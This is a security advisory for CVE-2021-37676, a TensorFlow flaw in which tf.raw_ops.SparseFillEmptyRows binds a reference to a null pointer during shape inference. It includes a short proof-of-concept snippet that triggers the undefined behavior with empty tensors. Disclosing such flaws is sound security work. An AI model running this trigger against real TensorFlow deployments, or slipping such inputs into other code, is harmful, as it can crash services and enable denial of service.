CVE-2021-37676: Reference binding to nullptr in shape inference

August 25, 2021 (updated November 13, 2024)

An attacker can cause undefined behavior via binding a reference to null pointer in tf.raw_ops.SparseFillEmptyRows:

import tensorflow as tf

tf.compat.v1.disable_v2_behavior()
tf.raw_ops.SparseFillEmptyRows(
indices = tf.constant([], shape=[0, 0], dtype=tf.int64),
values = tf.constant([], shape=[0], dtype=tf.int64),
dense_shape = tf.constant([], shape=[0], dtype=tf.int64),
default_value = 0)
